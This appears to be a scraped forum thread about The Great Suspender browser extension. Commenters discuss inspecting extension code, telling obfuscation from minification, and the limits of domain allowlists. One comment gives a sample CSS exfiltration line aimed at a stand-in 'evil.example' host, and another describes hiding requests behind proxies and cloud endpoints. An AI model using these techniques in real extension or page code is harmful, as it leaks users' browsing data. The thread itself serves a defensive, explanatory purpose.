News for hackers. Stuff that matters.
Re:The Great Suspender: New maintainer is probably malicious by blindm on Sunday January 03, 2021 @10:11AM (#25622163)
I am one of the few people that inspects the source-code of extensions. It's easy to do, for Firefox for example, just right-click and save-as in the extensions site, then rename your extension to a .zip file and extract e.g:

    addon.xpi --> addon.zip
Then manually sift through the code looking for obvious malicious intent (or not so obvious malicious intent if the author is doing obfuscation). Note: obfuscation is a red flag! A simple scan for `https://` / 'http://' would usually yield interesting URLs where data is sent. I have actually spotted malicious addons in the wild this way and reported them to Mozilla. They were thankfully removed.

Note: Obfuscation is NOT the same as minification, and I don't mean minification when using the word obfuscation!

Re:The Great Suspender: New maintainer is probably malicious by Triv888 on Sunday January 03, 2021 @10:23AM (#25622243)
Maybe Mozilla could list on the Addon's page a list of domains/IP addresses where data is being sent. A Bit like a table of Nutritional Facts for food, but for extensions.
Re:The Great Suspender: New maintainer is probably malicious by 542458 on Sunday January 03, 2021 @10:59AM (#25622473)
Wouldn’t that be impossible to do as you’d have to somehow execute every code path in the plugin? The domains don’t have to exist as strings - there are lots of ways to obfuscate network requests.
Re:The Great Suspender: New maintainer is probably malicious by gruez on Sunday January 03, 2021 @11:07AM (#25622544)
Depending on how you approach it you either end up having to solve the halting problem (spoiler: it's impossible), or restricting what domains an addon can connect to (also impossible given the way addons work. they can inject arbitrary scripts into pages to make requests for them).
Re:The Great Suspender: New maintainer is probably malicious by paulryanrogers on Sunday January 03, 2021 @02:05PM (#25624106)
It's possible to make extensions declare which hostnames or registrable domains they need to communicate with. (Apart from pages in which they can run which is already defined with WebExtensions.)
Re:The Great Suspender: New maintainer is probably malicious by Triv888 on Sunday January 03, 2021 @11:54AM (#25622911)
But you have all the code and you know which functions/methods/etc that can do requests so it should be trivial... either way, if it is not a solvable problem, there is a major problem in the design.
Re:The Great Suspender: New maintainer is probably malicious by gruez on Sunday January 03, 2021 @11:59AM (#25622961)
>But you have all the code and you know which functions/methods/etc that can do requests so it should be trivial

but you can't. See the last part of my comment: "they can inject arbitrary scripts into pages to make requests for them".

>either way, if it is not a solvable problem, there is a major problem in the design.

Not really. It's like complaining that debuggers can impersonate programs they attach themselves to.

Re:The Great Suspender: New maintainer is probably malicious by Triv888 on Sunday January 03, 2021 @12:19PM (#25623134)
> they can inject arbitrary scripts into pages to make requests for them

disallow that behavior?

You could also just pull that code but it might change based on request origin...

Re:The Great Suspender: New maintainer is probably malicious by fennecfoxen on Sunday January 03, 2021 @12:35PM (#25623275)
Lots of the best extensions are basically "change this webpage when it loads to make it work better." You can't "disallow this behavior" without crippling them.
Re:The Great Suspender: New maintainer is probably malicious by Triv888 on Sunday January 03, 2021 @01:24PM (#25623706)
It could do all the processing locally, easily... what are you talking about?
Re:The Great Suspender: New maintainer is probably malicious by gruez on Sunday January 03, 2021 @01:53PM (#25624007)
>It could do all the processing locally, easily...

That's irrelevant. If you can make changes to the page, you can exfiltrate data. The security model for addons isn't designed with restricting an addon's network activity in mind, see my other post: https://news.ycombinator.com/item?id=25623281

Re:The Great Suspender: New maintainer is probably malicious by gruez on Sunday January 03, 2021 @12:36PM (#25623281)
Depends on what your addons does. Most addons modify the page in some way. It's also not limited to injecting javascript. You can also exfiltrate data by injecting css (eg. doing something like background-image: url("http://evil.example/?payload=...")) or do javascript injection in alternate ways (eg. adding a <script> element, or adding an onclick attribute).
Re:The Great Suspender: New maintainer is probably malicious by shawnz on Sunday January 03, 2021 @12:42PM (#25623332)
That's one of the most fundamental functions a browser extension could have
Re:The Great Suspender: New maintainer is probably malicious by ashtonkem on Sunday January 03, 2021 @11:47AM (#25622856)
I think you’re right if you’re trying to enumerate where a plug-in will call. However it’s also possible to require that a plug-in provide a list of domains it will call as part of its manifest, display that list to the user and use it as a white list for network access by the plug-in.

This ends up effect as magically determining where it’ll call, with a lot less work.

Re:The Great Suspender: New maintainer is probably malicious by wlesieutre on Sunday January 03, 2021 @12:03PM (#25623007)
Except the add on can inject js into webpages that you have open and let the page make connections outside the extension sandbox.
Re:The Great Suspender: New maintainer is probably malicious by lukevp on Sunday January 03, 2021 @12:43PM (#25623334)
Also it’s pretty easy to just proxy requests through a whitelisted server side site so https://good.com is all that shows but it requests good.com?dest=https://evil.com
Re:The Great Suspender: New maintainer is probably malicious by srtjstjsj on Monday January 04, 2021 @12:25AM (#25628157)
Calling a website good.com doesn't make it good. A site with open redirects is a bad site.
Re:The Great Suspender: New maintainer is probably malicious by Triv888 on Sunday January 03, 2021 @01:59PM (#25624054)
Is that why Mozilla is blocking all addons on mobile (except for the selected 11)? They need to fix that shit or start adding useful features to Firefox... Not sure why they arent blocking all extensions on desktop too if they are so bad though.
Re:The Great Suspender: New maintainer is probably malicious by soco on Monday January 04, 2021 @07:31AM (#25630480)
They're already bleeding market share badly to the Chromium family, and doing that would be quite a thick nail to their popularity coffin...
Re:The Great Suspender: New maintainer is probably malicious by ashtonkem on Sunday January 03, 2021 @01:36PM (#25623843)
Ah, that’s clearly a big issue. Never mind.
Re:The Great Suspender: New maintainer is probably malicious by fiddlerwoaroof on Sunday January 03, 2021 @11:57AM (#25622937)
If you enumerate the ways browsers can make network requests, and if you have access to the source code of the extension, you could prepend the code with a bit of JavaScript that replaces the various network-related functions and methods with code that logs and/or validates the URL before making a request.
Re:The Great Suspender: New maintainer is probably malicious by whoopdedo on Sunday January 03, 2021 @01:07PM (#25623560)
The attacker will then inspect itself to see if network loggers are being used, or if it's running in a test environment (network location, machine fingerprint, et.al.) then adapt its behavior accordingly to avoid setting off any warnings.
Re:The Great Suspender: New maintainer is probably malicious by fiddlerwoaroof on Sunday January 03, 2021 @01:14PM (#25623609)
No, I’m saying modify the source of the extension so that the extension can only make requests to a whitelist of urls. The extension might be able to disable malicious functionality or something, but you can be certain that it’s not making malicious requests.
Re:The Great Suspender: New maintainer is probably malicious by prox on Sunday January 03, 2021 @01:50PM (#25623976)
On my android tablet they checked if my keyboard was us/eu (rain down the malware) or russian/chinese (Keep the app as-is)

And this was Google Play verified with a million downloads.

Re:The Great Suspender: New maintainer is probably malicious by gruez on Sunday January 03, 2021 @10:52AM (#25622423)
So bad guys will route all traffic through a proxy instead? eg.

    this addon connects to:
    * https://484044b296.execute-api.us-east-1.amazonaws.com
Re:The Great Suspender: New maintainer is probably malicious by Triv888 on Sunday January 03, 2021 @10:55AM (#25622447)
I always considered proxies, url shorteners, etc to be suspicious in the first place. Some more investigation would be required in some cases.
Re:The Great Suspender: New maintainer is probably malicious by gruez on Sunday January 03, 2021 @11:04AM (#25622511)
>I always considered proxies, url shorteners, etc to be suspicious in the first place

It doesn't have to be as overt making it look like a proxy (eg. a endpoint that makes arbitrary http requests on behalf of the caller). It can be as simple as changing the endpoint for the spying service from https://evil.example.com/api/ to https://484044b296.execute-api.us-east-1.amazonaws.com/evil/...

> Some more investigation would be required in some cases.

The point is that the "nutrition facts label" doesn't really do anything because it's trivial to bypass. If it becomes widespread I guarantee every malicious addon maker would adopt this tactic.

Re:The Great Suspender: New maintainer is probably malicious by Triv888 on Sunday January 03, 2021 @11:15AM (#25622605)
Of course it would not be the only element in the table. But either way, it would at least tell you that an extension is leaking data when it isn't supposed to leak data (for extensions that should not require an Internet connection).
Re:The Great Suspender: New maintainer is probably malicious by ashtonkem on Sunday January 03, 2021 @11:48AM (#25622863)
I personally would find such an inscrutable name suspicious.
Re:The Great Suspender: New maintainer is probably malicious by gruez on Sunday January 03, 2021 @12:03PM (#25623006)
Why? Would connecting to "api.example.com" be less suspicious? The same issue would still be present (namely, smuggling requests to "shady" domains using a mundane domain), and the only difference would be that it demonstrates the author paid $10/yr for the domain.
Re:The Great Suspender: New maintainer is probably malicious by ashtonkem on Sunday January 03, 2021 @01:38PM (#25623869)
I should be able to clearly determine the intention of any domain that an extension is going to call. Anything that tries to obsfucate the actual underlying purpose is a red flag.

One might not like Google analytics, but at least you know exactly what you’re going to get when someone calls analytics.google.com.

Re:The Great Suspender: New maintainer is probably malicious by Abishek_Muthian on Sunday January 03, 2021 @11:22AM (#25622670)
Perhaps even a need gap for 'little snitch for browser extensions' as a browser extension(Considering OS LS or similar usually gets whitelisted for 80/433 with browsers).

Is it even possible or would the sandbox prevent such an extension from functioning?

Re:The Great Suspender: New maintainer is probably malicious by Triv888 on Sunday January 03, 2021 @11:46AM (#25622849)
Yes, there is probably many extensions that make outside connections that don't add benefit to the user by doing so.

I wish I could block per-app connections on Linux like Little Snitch appear to allow on Mac.

Re:The Great Suspender: New maintainer is probably malicious by dylan604 on Sunday January 03, 2021 @11:58AM (#25622951)
Isn't Little Snitch essentially an interactive firewall? Rather than silently denying/allowing traffic, it needs the user's decision until a connection is white/black listed? Why would this not be allowed on Linux? (other than the app doesn't exist, yet)
Re:The Great Suspender: New maintainer is probably malicious by gus_ on Sunday January 03, 2021 @02:22PM (#25624298)
https://github.com/evilsocket/opensnitch

However, if you allow everything to 80/443, the extensions would still be able to connect to their servers. Maybe the browsers should add the ability to allow/deny connections per extension.

https://github.com/gustavo-iniguez-goya/opensnitch/issues/21

Re:The Great Suspender: New maintainer is probably malicious by Abishek_Muthian on Sunday January 03, 2021 @01:53PM (#25624011)
Every once in a while something comes up trying to be 'Little Snitch for Linux' but none has survived AFAIK, To be honest one of the reasons I use macOS is for LS and I've heard few others say that too. But now since macOS is bypassing LS or limiting its function or to put it simply doing weird network stuff I'm planning to get back to Linux.
Re:The Great Suspender: New maintainer is probably malicious by the8472 on Sunday January 03, 2021 @12:06PM (#25623031)
This is entirely possible. Either by isolating the application into a network namespace (e.g. via firejail or systemd units), with selinux labels, running the process under a custom gid and various other mechanisms.
Re:The Great Suspender: New maintainer is probably malicious by Triv888 on Sunday January 03, 2021 @01:26PM (#25623725)
Anything is possible, but is it relatively easy to block all apps and keep a whitelist of allowed apps?
Re:The Great Suspender: New maintainer is probably malicious by the8472 on Sunday January 03, 2021 @02:17PM (#25624232)
I have not done that on a desktop but seen it on servers with selinux, each service we added had to be labeled properly to get network access, one extra line in the deployment script. I'm not aware of an GUI tools though, if that's what you're asking. I think that's also the approach android uses to enforce app permissions, they obviously have a gui but that doesn't integrate with normal desktop environments.
Re:The Great Suspender: New maintainer is probably malicious by Triv888 on Monday January 04, 2021 @03:40AM (#25628939)
a single line in a deployment script is as simple as it can get, thanks, I will need to give this a try
Re:The Great Suspender: New maintainer is probably malicious by the8472 on Sunday January 03, 2021 @11:55AM (#25622918)
Extensions used to be able to even network requests triggered by browser internals and by other extensions. I think with webextensions this is no longer possible.
Re:The Great Suspender: New maintainer is probably malicious by Abishek_Muthian on Sunday January 03, 2021 @01:47PM (#25623952)
Correction: I meant 80/443 usually gets allowed for entire browser on Little Snitch, so browser extensions dialing something gets through that.
Re:The Great Suspender: New maintainer is probably malicious by blindm on Sunday January 03, 2021 @10:38AM (#25622333)
> A Bit like a table of Nutritional Facts for food, but for extensions.

Great idea!

Re:The Great Suspender: New maintainer is probably malicious by llacb47 on Sunday January 03, 2021 @01:03PM (#25623526)
You don't even need to do all that, just use https://robwu.nl/crxviewer/

and insert the URL of the extension, for example https://addons.mozilla.org/en-US/firefox/addon/decentraleyes... .

Re:The Great Suspender: New maintainer is probably malicious by wool_gather on Sunday January 03, 2021 @01:25PM (#25623708)
This may be fine, but do note that you're inserting an extra layer that you have to trust compared to inspecting the source that you know is on your local disk.

Should they choose to, nothing stops the site you've linked from masking malicious tidbits in code you request.

Re:The Great Suspender: New maintainer is probably malicious by loeg on Sunday January 03, 2021 @11:22AM (#25622663)
How do you distinguish minification from obfuscation? I mean, minified JS is essentially illegible to me.
Re:The Great Suspender: New maintainer is probably malicious by ufmace on Sunday January 03, 2021 @01:08PM (#25623570)
Minifying usually doesn't touch string literals. If you have a function like connectToSite, and tell it to connect to "https://mysite.com/", then minification will rename connectToSite to just the letter "a", but the site URL stays the same and will be easy to search for in the code. If you want to connect to www.evil.com and make it not clear, you'd have to do stuff that results in longer code, like split it up into individual characters, add number values to them to get different characters, and string cat a bunch of them together to get the final URL string.
Re:The Great Suspender: New maintainer is probably malicious by szaroubi on Sunday January 03, 2021 @11:49AM (#25622872)
To me, minifaction will rename reallyClearFunctionName("string param") to a("string param"). While obfuscation would also encrypt the "string param" and then decrypt it at runtime. Minification's main purpose is to reduce the size, obfuscation will go one step futher and make it difficult to understand what is going on. Side note, it can be obfuscated but "maxified" (if that is a thing).

Side note: the joke goes that Perl is a write only language as it is difficult to read it and understand it. Some twisted souls decided to create the obfuscated perl content: https://en.wikipedia.org/wiki/Obfuscated_Perl_Contest

For a list of some of the winners: https://www.foo.be/docs/tpj/issues/vol4_3/tpj0403-0017.html

Re:The Great Suspender: New maintainer is probably malicious by the8472 on Sunday January 03, 2021 @12:15PM (#25623106)
Advanced minification might do more optimizations than just shortening names though. In the extreme case you might have a sort of optimizing compiler that performs the equivalent of `-Os` which can make code quite unreadable.

But yes, even that shouldn't be encrypting strings.

Re:The Great Suspender: New maintainer is probably malicious by loeg on Sunday January 03, 2021 @12:24PM (#25623167)
Sure. You could also imagine a better minifier compressing string constants to save even more size.
Re:The Great Suspender: New maintainer is probably malicious by shbooms on Sunday January 03, 2021 @11:55AM (#25622919)
from what i undersand, minification just involves removing line breaks and tabs and can be un-minified fairly easily with tools such as https://beautifier.io/. obfuscation involves techniques such as changing function/variable names from human-readable to human-unreadable, changing certain strings to concated variations of themselves, base64 encoded, or other similar transformations.

e.g. original code:

function NewObject()

{

var mainApiUrl="https://google.com";

}

minified code:

function NewObject(){var mainApiUrl="https://google.com";}

obfuscated code:

var _0x8275=["\x68\x74\x74\x70\x73\x3A\x2F\x2F\x67\x6F\x6F\x67\x6C\x65\x2E\x63\x6F\x6D"];function ahyt56(){var _0xb40bx2=_0x8275[0]}

Re:The Great Suspender: New maintainer is probably malicious by wging on Sunday January 03, 2021 @12:10PM (#25623066)
Minifiers also reduce variable and function names to a minimal size, one character wherever possible. They do other things too... such as remove semicolons that are not needed (not in general possible, especially if you've gotten rid of line breaks, but can be done in the last statement of a block or function, for example.) The idea is to optimize for bits sent over the wire.

function a(){var b="https://google.com"}

That's why it's difficult to read minified code even if it's not obfuscated to the further extent that you sometimes see in attack payloads.

Re:The Great Suspender: New maintainer is probably malicious by loeg on Sunday January 03, 2021 @12:24PM (#25623174)
They usually also reduce variable and function names to single letters, or as short a unique sequence as possible. E.g.,

  function a(){var b="https://google.com";}
Re:The Great Suspender: New maintainer is probably malicious by alternatetwo on Sunday January 03, 2021 @11:46AM (#25622845)
You can run it through a beautifier and get it readable again.
Re:The Great Suspender: New maintainer is probably malicious by loeg on Sunday January 03, 2021 @12:26PM (#25623195)
I don't think that's true. I don't think any tool can automatically recreate meaningful symbol names once they have been destroyed (absent things like debuginfo, which is irrelevant in the javascript context).
Re:The Great Suspender: New maintainer is probably malicious by superkuh on Sunday January 03, 2021 @11:16AM (#25622615)
Unfortunately if you modify the extension at all the Mozilla will not allow you to use it in Firefox branded browsers. So while it is nice you can look, you cannot change if you use Firefox. This has been the case since Firefox 37. I assume Chrome jumped the shark even earlier.
Re:The Great Suspender: New maintainer is probably malicious by mmis1000 on Sunday January 03, 2021 @11:27AM (#25622715)
If you are not going to list it on the store page. Mozilla has a process thst allow you to sign add-on automatically unlisted without review(you do still need a free account).
Re:The Great Suspender: New maintainer is probably malicious by superkuh on Sunday January 03, 2021 @03:04PM (#25624742)
It just highlights that the whole process is awkward security theater. The only security is Moz being able to revoke access.
Re:The Great Suspender: New maintainer is probably malicious by mmis1000 on Sunday January 03, 2021 @11:48PM (#25628007)
That is basically the whole purpose of that. A kill switch used when everything is on fire. Allows them to deactivate wide spread malwares when they discovered it. Although I have no idea whether it works or it is ever being used.

On the other side. The chrome store starts to behave badly and ban extensions they don't like for random reason after they implement that.

About mozilla, i don't know. will they eventually be like that, or they won't?

Re:The Great Suspender: New maintainer is probably malicious by alternatetwo on Sunday January 03, 2021 @11:47AM (#25622854)
Or just use the developer edition and enable unsigned extensions.
Re:The Great Suspender: New maintainer is probably malicious by superkuh on Sunday January 03, 2021 @03:07PM (#25624755)
Developer edition is a beta (or alpha since it derived from aurora line which came from alpha). You can say it doesn't have bugs but it has more than release editions. In my experience many more. Using a beta as a daily driver is not something to recommend.

Now, some distros like Debian have enough political power to get Mozilla to allow them to put Firefox branding on their altered user-freedoms-respecting repo editions of FF release. But most don't. So the only way to use actual release FF is to go outside your repos and use the unbranded version. Possible, of course, but tedious.

Re:The Great Suspender: New maintainer is probably malicious by mmis1000 on Monday January 04, 2021 @12:11AM (#25628108)
Even the nightly is actually quite stable in my opinion. I already used Firefox Nightly daily for years. And don't encounter major usability problems(startup crash, page not rendering type problems). Although it do sometimes have minor problems.
Re:The Great Suspender: New maintainer is probably malicious by Aradalf on Sunday January 03, 2021 @11:56PM (#25628041)
You can enable developer mode on release Chrome (or Edge Chromium, which is what I recommend) and use any extension you wish directly by loading the unpacked source directory.
Re:The Great Suspender: New maintainer is probably malicious by mmis1000 on Monday January 04, 2021 @12:04AM (#25628080)
That results in a big giant warning you have to dismiss every time when you start the chrome. Although that isn't avaiable on release channel branded firefox anyway.
Re:The Great Suspender: New maintainer is probably malicious by gnaman on Sunday January 03, 2021 @10:32AM (#25622293)
> Note: obfuscation is a red flag

And why is this? Unless the extension source is already public, I don't see any reason why anyone would not use obfuscation

Re:The Great Suspender: New maintainer is probably malicious by megous on Sunday January 03, 2021 @10:38AM (#25622323)
I've found extensions doing malicious things that were not obfuscated, by inspecting the code. Obfuscated code is just not worth installing at all. Too much work, for little benefit, to review it, when alternatives exist.
Re:The Great Suspender: New maintainer is probably malicious by blindm on Sunday January 03, 2021 @10:38AM (#25622327)
> And why is this?

I'm not saying all obfuscation is necessarily bad, just something to look out for if you're trying to sleuth around for malicious intent by the addon's author.

Typically if you want to hide the fact you are collecting the browsing secrets of the addon's user, you would use some form of obfuscation (in order to have the addon in good standing by Mozilla and to stop a simple sweep by people like myself who first look for things like http:/https: in the source).

Note: Obfuscation is NOT the same as minification, and I don't mean minification when using the word obfuscation!

Re:The Great Suspender: New maintainer is probably malicious by unethical_ban on Sunday January 03, 2021 @06:23PM (#25626265)
There is no reason /to/ use obfuscation in good faith if the code is open source.
Re:The Great Suspender: New maintainer is probably malicious by tobylane on Sunday January 03, 2021 @10:38AM (#25622324)
Then it’s a sign that they haven’t open sourced their extension, which is a red flag. Minification may be acceptable though pointless.
Re:The Great Suspender: New maintainer is probably malicious by eyelidlessness on Sunday January 03, 2021 @11:47AM (#25622857)
Minification isn’t necessarily pointless, depending on the tooling used. While the JS doesn’t have a wire cost, it does have a parsing and execution cost. Optimizing compilers like (say) Google Closure Compiler can significantly improve runtime cost, which is definitely a benefit for extension users.

That said, any extension using those tools without source code available and build verification should definitely be viewed with suspicion.

Re:The Great Suspender: New maintainer is probably malicious by blindm on Sunday January 03, 2021 @10:41AM (#25622358)
Note: Obfuscation is NOT the same as minification, and I don't mean minification when using the word obfuscation!